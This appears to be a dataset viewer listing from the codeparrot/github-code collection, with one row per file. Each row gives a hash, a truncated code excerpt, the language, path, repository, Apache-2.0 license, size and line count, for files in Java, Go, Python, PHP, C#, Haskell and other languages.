* Copyright 2014-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with
* the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "licen... | Java | aws-java-sdk-medialive/src/main/java/com/amazonaws/services/medialive/model/StaticImageDeactivateScheduleActionSettings.java | jentfoo/aws-sdk-java | apache-2.0 | 5,899 | 169 | codeparrot/github-code |
baf95ac84a38c4555f8e65042b1c8efc75f79daf6def5bc7ce9d32613652008c | // copyright (c) 2017 vmware, inc. all rights reserved.
//
// licensed under the apache license, version 2.0 (the "license");
// you may not use this file except in compliance with the license.
// you may obtain a copy of the license at
//
// http://www.apache.org/licenses/license-2.0
//
// unless required by applic... | GO | src/common/dao/scan_job.go | wknet123/harbor | apache-2.0 | 2,269 | 82 | codeparrot/github-code |
d84f73f1ff230b6a59c37fb61850addf6fa4f6ef1f945b98cd87aac98245a589 | package com.badlogic.gdx.ingenuity.scene2d;
import com.badlogic.gdx.graphics.Color;
import com.badlogic.gdx.ingenuity.GdxData;
import com.badlogic.gdx.ingenuity.helper.PixmapHelper;
import com.badlogic.gdx.ingenuity.utils.GdxUtilities;
import com.badlogic.gdx.scenes.scene2d.Group;
import com.badlogic.gdx.scenes.scene2... | Java | depot/src/com/badlogic/gdx/ingenuity/scene2d/Loading.java | mitkey/libgdx-ingenuity | apache-2.0 | 1,647 | 65 | codeparrot/github-code |
55a9caf7a26184d0375a1c74d82ad7424d11006ba2bca3b095a65ae861320fea | <!DOCTYPE HTML>
<html>
<head>
<title>{#$site_title#}</title>
<meta charset="utf-8">
<meta name="Keywords" content="{#$site_keywords#}" />
<meta name="Description" content="{#$site_description#}" />
<link href="{#$site_root#}themes/default/skin/nav.css" rel="stylesheet" type="text/css" />
<script type="text/java... | HTML | themes/模板/base/index.html | zhanxizhu/lxsndir | apache-2.0 | 7,110 | 150 | codeparrot/github-code |
1c3bb5f890ff156c3bdc957de0bfdf9a30c0b877938a8fa6a6c0d43256755306 | /*
* Copyright (c) 2013-2015 Josef Hardi <josef.hardi@gmail.com>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless requir... | Java | src/main/java/com/obidea/semantika/datatype/AbstractDerivedDecimalType.java | obidea/semantika | apache-2.0 | 1,709 | 57 | codeparrot/github-code |
fd076f91eab9b2a7a4eb812744bab6513316b8ba1a6aa7a4ee40c711a12b2961 | /*
Copyright (C) 2013-2020 Expedia Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in wri... | Java | support/testsupport/src/main/java/com/hotels/styx/support/matchers/IsOptional.java | mikkokar/styx | apache-2.0 | 3,272 | 109 | codeparrot/github-code |
57140da8ff3cf30a0b7038ed04bd700bdca37291980b7946d75a6d9dc50e0631 | <?php
namespace Deliveryboy\V1\Rest\Orderproducts;
class OrderproductsEntity {
public $order_product_id;
public $order_id;
public $order_product_name;
public $order_item_id;
public $order_offer_id;
public $order_type;
public $package_id;
public $unit_price;
public $total_price;
... | PHP | api/module/Deliveryboy/src/Deliveryboy/V1/Rest/Orderproducts/OrderproductsEntity.php | ankuradhey/laundry | apache-2.0 | 1,519 | 47 | codeparrot/github-code |
ce6253a6dd80a323bdbcf8bb7cfcba9687ca096b3b78143fb2da3293463b0c77 | /*
* Copyright (C) 2016 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to ... | Java | android/Common/src/com/googlecode/android_scripting/language/BeanShellLanguage.java | kuri65536/sl4a | apache-2.0 | 2,132 | 75 | codeparrot/github-code |
8586822a44acf5a2d4cb1d5dd0239942783e9a2fa0c36e2a5e70e2a16016aa04 | package com.ctrip.xpipe.redis.checker.alert.manager;
import com.ctrip.xpipe.redis.checker.alert.ALERT_TYPE;
import com.ctrip.xpipe.redis.checker.alert.AlertChannel;
import com.ctrip.xpipe.redis.checker.alert.AlertConfig;
import com.ctrip.xpipe.redis.checker.alert.AlertEntity;
import com.ctrip.xpipe.redis.checker.alert... | Java | redis/redis-checker/src/main/java/com/ctrip/xpipe/redis/checker/alert/manager/AlertPolicyManager.java | ctripcorp/x-pipe | apache-2.0 | 3,064 | 90 | codeparrot/github-code |
727c5f6c3b460d9634d41895f5ef95da2d3758838fec364b439b3310c05b5eb2 | # Copyright 2018 Flight Lab authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in w... | Python | controller/common/net.py | google/flight-lab | apache-2.0 | 1,062 | 35 | codeparrot/github-code |
c517b5687e0d6a88c0104d7c687ef7abce990b7a6ff8faa7df64496e5242cc96 | 'use strict';
var chai = require('chai');
var promised = require('chai-as-promised');
chai.use(promised);
global.expect = chai.expect;
exports.config = {
// The timeout for each script run on the browser. This should be longer
// than the maximum time your application needs to stabilize between tasks.
a... | JavaScript | webapp/src/test/js/e2e/ci.conf.js | jangalinski/camunda-bpm-webapp | apache-2.0 | 2,310 | 75 | codeparrot/github-code |
aa6cd84dfdda7aa5696baa020e7413f8044ba432515a94346fdd8dd000938704 | /*
* Copyright (c) 2015 IRCCloud, Ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed ... | Java | src/com/irccloud/android/fragment/TextListFragment.java | irccloud/android | apache-2.0 | 4,169 | 132 | codeparrot/github-code |
c0c0f63e6cbdaedca173959e6ee74a6252b60c1b64855d1a310821fa1798c5a2 | import functools
import warnings
from collections import Mapping, Sequence
from numbers import Number
import numpy as np
import pandas as pd
from . import ops
from . import utils
from . import common
from . import groupby
from . import indexing
from . import alignment
from . import formatting
from .. import conventio... | Python | xray/core/dataset.py | kjordahl/xray | apache-2.0 | 72,806 | 1,900 | codeparrot/github-code |
91c43d7f8de4ed963dc534e49fd615d40675ef526f580855ab53c05c4fab6fad | <?php
App::uses('AppModel', 'Model');
/**
* ProdCodeDivn Model
*
* @property ProdCodeSection $ProdCodeSection
* @property ProdCodeGroup $ProdCodeGroup
*/
class ProdCodeDivn extends AppModel {
/**
* Display field
*
* @var string
*/
public $displayField = 'divn_desc_eng';
/**
* Validation rules
*
* @var ar... | PHP | Cakephp/ec2014/app/Model/ProdCodeDivn.php | hasanmbstu13/Project | apache-2.0 | 1,803 | 87 | codeparrot/github-code |
0872f25670aa7452e36bb527a0c4287d5b3e5f3168630824dfa411aaf31a7ffa | /*-
* See the file LICENSE for redistribution information.
*
* Copyright (c) 2002-2010 Oracle. All rights reserved.
*
* $Id: ReplicaSyncupReader.java,v 1.4 2010/01/11 20:00:48 linda Exp $
*/
package com.sleepycat.je.rep.stream;
import static com.sleepycat.je.utilint.DbLsn.NULL_LSN;
import java.io.IOException;
... | Java | code/third_party/bdb/src/com/sleepycat/je/rep/stream/ReplicaSyncupReader.java | bjorndm/prebake | apache-2.0 | 12,355 | 357 | codeparrot/github-code |
94a6692e38f6324e72eea29d916a4b575f07f7d10940f2ca5b717c04b2bb266b | package so.modernized.whip
import java.util.{Set => JSet}
import java.net.{URI => JURI}
import com.cambridgesemantics.anzo.unstructured.graphsummarization.PatternSolutionExtras
import com.cambridgesemantics.anzo.unstructured.graphsummarization.XMLUnapplicable._
import so.modernized.psl_scala.primitives.PSLUnapplicabl... | Scala | src/main/scala/so/modernized/whip/PSLSparqlDatabase.scala | JackSullivan/whip | apache-2.0 | 9,595 | 231 | codeparrot/github-code |
7fc6023c47ff04ddf100ef379e8e49d9a5661ec60fb19579aede8571dddba64a | using De.Osthus.Ambeth.Bytecode.Visitor;
using De.Osthus.Ambeth.Ioc.Annotation;
using De.Osthus.Ambeth.Log;
using De.Osthus.Ambeth.Merge;
using De.Osthus.Ambeth.Merge.Model;
using De.Osthus.Ambeth.Proxy;
using System;
using System.Collections.Generic;
namespace De.Osthus.Ambeth.Bytecode.Behavior
{
public class Enh... | C# | ambeth/Ambeth.Cache.Bytecode/ambeth/bytecode/behavior/EnhancedTypeBehavior.cs | Dennis-Koch/ambeth | apache-2.0 | 1,613 | 43 | codeparrot/github-code |
ceac91254de9ff96bc252c0982cce2f826a7e7e7c1734520d032d0ecd6089fca | package com.soulkey.calltalent.db;
import android.content.Context;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteOpenHelper;
import com.soulkey.calltalent.db.model.SettingModel;
import com.soulkey.calltalent.db.populator.SettingPopulator;
public final class DbOpenHelper extends ... | Java | app/src/main/java/com/soulkey/calltalent/db/DbOpenHelper.java | wpcfan/calltalent | apache-2.0 | 1,109 | 42 | codeparrot/github-code |
1af97b63794cef466ccde12aab327b8d5448014812aa98d6843054543705a407 | ////////////////////////////////////////////////////////////////////////////
// Module : alife_human_object_handler.h
// Created : 07.10.2005
// Modified : 07.10.2005
// Author : Dmitriy Iassenev
// Description : ALife human object handler class
////////////////////////////////////////////////////////////////////... | C | code/engine/xrGame/alife_human_object_handler.h | Im-dex/xray-162 | apache-2.0 | 1,999 | 58 | codeparrot/github-code |
0fa4a0a28dbe6905c91ab6d8ec1e89c27555ca4be1f9b37228f3624fe305e55c | package com.splinter.graphing;
import org.junit.Assert;
import org.junit.Test;
import java.util.HashMap;
import java.util.Map;
public class SplinterLogTest {
@Test
public void testDisableLogs() {
try {
SLog.setEnabled(false);
String expected = "";
Assert.assertEqua... | Java | src/test/java/com/splinter/graphing/SplinterLogTest.java | dimitarz/splinter | apache-2.0 | 7,294 | 159 | codeparrot/github-code |
b4f0d120806b7f813d20efeda429bfece2555c938bb0d5fd476496bb51cb7877 | package io.zrz.graphql.core.decl;
import java.util.List;
import org.eclipse.jdt.annotation.Nullable;
import io.zrz.graphql.core.doc.GQLDirective;
import io.zrz.graphql.core.parser.GQLSourceLocation;
public interface GQLDeclaration {
@Nullable
String description();
<R> R apply(GQLDeclarationVisitor<R> visito... | Java | graphql-core/src/main/java/io/zrz/graphql/core/decl/GQLDeclaration.java | zourzouvillys/graphql | apache-2.0 | 651 | 31 | codeparrot/github-code |
00fd78a7d39d12102ada0a821298d6cc1546fc51accfd00196ba17b39fee3952 | /*
* @class TableExamplesService
*/
export default class TableExamplesService {
constructor($http) {
this.$http = $http;
}
static getClassName() { return 'TableExamplesService'; }
getClassName() { return TableExamplesService.getClassName(); }
/*
* @func getColumns
* @desc getes a list of columns... | JavaScript | client/app/components/tableExamples/tableExamples.service.js | garrettwong/GDashboard | apache-2.0 | 1,084 | 46 | codeparrot/github-code |
1d5dd8bc0cbd14b1faebd6df601a449e5bdcf8875a3cb8adbcf7dd452ccc3536 | /*
* Copyright © 2016 - 2017 Dominik Szalai (emptulik@gmail.com)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless require... | Java | editor-backend/src/test/java/cz/muni/fi/editor/support/WithEditorUser.java | empt-ak/meditor | apache-2.0 | 1,488 | 48 | codeparrot/github-code |
1bec54778e2c362060dc5db772eabe4db3c3fda4ead7369514336c0152226807 | /*
* Copyright (C) 2014-2015 Vy Nguyen
* Github https://github.com/vy-nguyen/tvntd
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* no... | C | crypto/user-cache.h | vy-nguyen/tvntd | apache-2.0 | 2,523 | 64 | codeparrot/github-code |
71a176ce69e82ea18f301da10b9bf4c24be4ec112d8c920beac873b3cac176f2 | /**
* Licensed to the Austrian Association for Software Tool Integration (AASTI)
* under one or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information regarding copyright
* ownership. The AASTI licenses this file to you under the Apache License,
* Version 2... | Java | ui/admin/src/main/java/org/openengsb/ui/admin/tree/editablePanel/EditablePanel.java | openengsb/openengsb | apache-2.0 | 1,593 | 43 | codeparrot/github-code |
581239b60083d80a8a810c94556814359b08877afaebd3a6b7775e42c58a661d | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# File: common.py
# Author: Yuxin Wu <ppwwyyxxc@gmail.com>
import random
import time
import threading
import multiprocessing
import numpy as np
from tqdm import tqdm
from six.moves import queue
from tensorpack import *
from tensorpack.utils.concurrency import *
from tensor... | Python | examples/DeepQNetwork/common.py | haamoon/tensorpack | apache-2.0 | 3,829 | 124 | codeparrot/github-code |
056cc0f89497395a334ff126f8decbbdeef8ea4254b05a200722640e82dfe934 | package org.devocative.demeter.service.template;
import groovy.lang.Binding;
import groovy.lang.Script;
import org.devocative.demeter.iservice.template.BaseStringTemplate;
import java.util.Map;
public class GroovyScript extends BaseStringTemplate<Script> {
private Script script;
public GroovyScript(Script script)... | Java | service/src/main/java/org/devocative/demeter/service/template/GroovyScript.java | mbizhani/Demeter | apache-2.0 | 690 | 31 | codeparrot/github-code |
21e8f3772438d52e576deee10a90656efc9d73500745c4ce2271291393de3a2e | /**
*
* ThingBench - Things and Devices Simulator
*
* http://github.com/frapu78/thingbench
*
* @author Frank Puhlmann
*
*/
package thingbench;
import java.util.HashMap;
import net.frapu.code.visualization.ProcessNode;
/**
* This class provides an operation on a thing.
*
* @author fpu
*/
public abstract c... | Java | src/thingbench/ThingOperation.java | frapu78/thingbench | apache-2.0 | 1,167 | 49 | codeparrot/github-code |
6222f94af793269b3a31314a3d24bb50fd010042898f0a8ef83b445f21dab3fe | package lan.dk.podcastserver.manager.worker.selector;
import lan.dk.podcastserver.manager.worker.selector.update.*;
import lan.dk.podcastserver.manager.worker.updater.*;
import org.junit.Before;
import org.junit.Test;
import java.util.HashSet;
import java.util.Set;
import static org.assertj.core.api.Assertions.asser... | Java | src/test/java/lan/dk/podcastserver/manager/worker/selector/UpdaterSelectorTest.java | radut/Podcast-Server | apache-2.0 | 4,263 | 91 | codeparrot/github-code |
6f3f9fb6fd4b8495e02434b1ffb6f72103cbeb29b194edf4f1a8eaa78300cfce | import optparse
import pickle
#converts urls to wiki_id
parser = optparse.OptionParser()
parser.add_option('-i','--input', dest = 'input_file', help = 'input_file')
parser.add_option('-o','--output', dest = 'output_file', help = 'output_file')
(options, args) = parser.parse_args()
if options.input_file is None:
... | Python | scripts/old/page_links_to_edge_list_wiki.py | MultimediaSemantics/entity2vec | apache-2.0 | 3,039 | 134 | codeparrot/github-code |
722cf52e6dde9c4e23ce21d53458475f14ad5f1e3a0f1b82c6940826a74f948c | package grok.core;
import com.fasterxml.jackson.annotation.JsonCreator;
import com.fasterxml.jackson.annotation.JsonProperty;
import com.google.auto.value.AutoValue;
@AutoValue
public abstract class Image {
@JsonCreator
public static Image of(@JsonProperty("id") String id,
@JsonProperty("... | Java | grok-core-api/src/main/java/grok/core/Image.java | achaphiv/grok-core | apache-2.0 | 1,076 | 49 | codeparrot/github-code |
40fe0ddf7720fedcdc11139e3e69c1f0da4f9f1cb5f4b2cec35e1990468f679a | package com.mgaetan89.showsrage.fragment;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
import java.util.Arrays;
import java.util.Collection;
import static org.junit.Assert.assertTrue;
import static org.mockito.Mockito... | Java | app/src/test/java/com/mgaetan89/showsrage/fragment/ShowsFragment_OnQueryTextChangeTest.java | phaseburn/ShowsRage | apache-2.0 | 1,137 | 54 | codeparrot/github-code |
aa1794c6d162602edbb1b71e8e9afa5cadfeefacbf7e3886ef95339cbbdb1971 | /***************************************************************
*
* Copyright (C) 1990-2007, Condor Team, Computer Sciences Department,
* University of Wisconsin-Madison, WI.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you
* may not use this file except in compliance with the License. Yo... | C++ | src/condor_status.V6/status.cpp | zhangzhehust/htcondor | apache-2.0 | 43,130 | 1,447 | codeparrot/github-code |
153996ee1aba668667b9738333c19b6ed1509e32ae85e56b25c4b23c2e339b44 | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package entities;
import java.io.Serializable;
import javax.persistence.Basic;
import javax.persistence.Column;
import javax... | Java | TomEnJerry-ejb/src/java/entities/Product.java | MaartenDeWeerdt/TomEnJerry | apache-2.0 | 4,620 | 174 | codeparrot/github-code |
d19840afc4eff0343dc825efaad2972b3193fc0c1a357c3f30e8869867ab0b24 | /*
* Copyright (C) 2018 The Dagger Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or ag... | Java | java/dagger/internal/codegen/validation/ComponentDescriptorValidator.java | cgruber/dagger | apache-2.0 | 22,500 | 494 | codeparrot/github-code |
0681eff2e0460e34c9ad17ccfdb670860adf419bb4d257960c8c625fba2a5927 | import errno
import os
import pwd
import shutil
import sys
from jinja2 import Environment, FileSystemLoader
class TutorialEnv:
LOCAL_MACHINE = ("Local Machine Condor Pool", "submit-host")
USC_HPCC_CLUSTER = ("USC HPCC Cluster", "usc-hpcc")
OSG_FROM_ISI = ("OSG from ISI submit node", "osg")
XSEDE_BOSC... | Python | packages/pegasus-python/src/Pegasus/init-old.py | pegasus-isi/pegasus | apache-2.0 | 14,973 | 401 | codeparrot/github-code |
057946fe3e68644161aff84c030f98a804830a07122eea4daa1640739e6c06ec | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head><!-- start favicons snippet, use https://realfavicongenerator.net/ --><link rel="apple-touch-icon" sizes="180x180" href="/assets/apple-touch-icon.png"><link rel="icon" type="ima... | HTML | docs/doc/reference/com/google/android/exoplayer2/source/ads/package-frame.html | amzn/exoplayer-amazon-port | apache-2.0 | 4,255 | 48 | codeparrot/github-code |
1ad991fbf9968ba8adb9f4c1acfc806cefd2bf2880c72f24c447fe2eddbd4653 | /*
* Copyright 2014-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with
* the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "licen... | Java | aws-java-sdk-route53/src/main/java/com/amazonaws/services/route53/model/transform/GetHealthCheckLastFailureReasonResultStaxUnmarshaller.java | jentfoo/aws-sdk-java | apache-2.0 | 3,038 | 74 | codeparrot/github-code |
f5c50a723feccd0b9f1d080b63a448cfcb927dc163a6b05d00c1b1ec49558215 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may ... | Java | modules/core/src/main/java/org/apache/ignite/cache/store/jdbc/CacheAbstractJdbcStore.java | vsisko/incubator-ignite | apache-2.0 | 62,015 | 1,829 | codeparrot/github-code |
7d63cf51eb2870ad6cca0954881763e7f0e9fa93d09952ad37803b7f101b9895 | using System;
using System.Linq.Expressions;
namespace storagecore.EntityFrameworkCore.Query
{
public class Filter<TEntity>
{
public Filter(Expression<Func<TEntity, bool>> expression)
{
Expression = expression;
}
public Expression<Func<TEntity, bool>> Expression { ... | C# | coremanage/storagecore.EntityFrameworkCore/Query/Filter.cs | FlorinskiyDI/coremanage | apache-2.0 | 1,220 | 33 | codeparrot/github-code |
7206124714ce964612642ad73bdeb2f2b061e9c24c51e56453958caf232aa773 | {-# LANGUAGE DataKinds #-}
{-# LANGUAGE DeriveDataTypeable #-}
{-# LANGUAGE FlexibleInstances #-}
{-# LANGUAGE GADTs #-}
{-# LANGUAGE GeneralizedNewtypeDeriving #-}
{-# LANGUAGE KindSignatures #-}
{-# LANGUAGE LambdaCase #-}
{-# LANGUAGE... | Haskell | src/Language/Fortran/Model/Types.hs | dorchard/camfort | apache-2.0 | 9,913 | 253 | codeparrot/github-code |
493fd28b76b9e5a6c42d6cbdbd81f849c991c9e30e94d3d890f46c51bff44007 | namespace CJia.PIVAS.App.UI
{
partial class BatchIllfieldLabelCollectReport
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/... | C# | CJia.PIVAS.JiuJiang/CJia.PIVAS.App/UI/BatchIllfieldLabelCollectReport.designer.cs | leborety/CJia | apache-2.0 | 37,876 | 683 | codeparrot/github-code |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.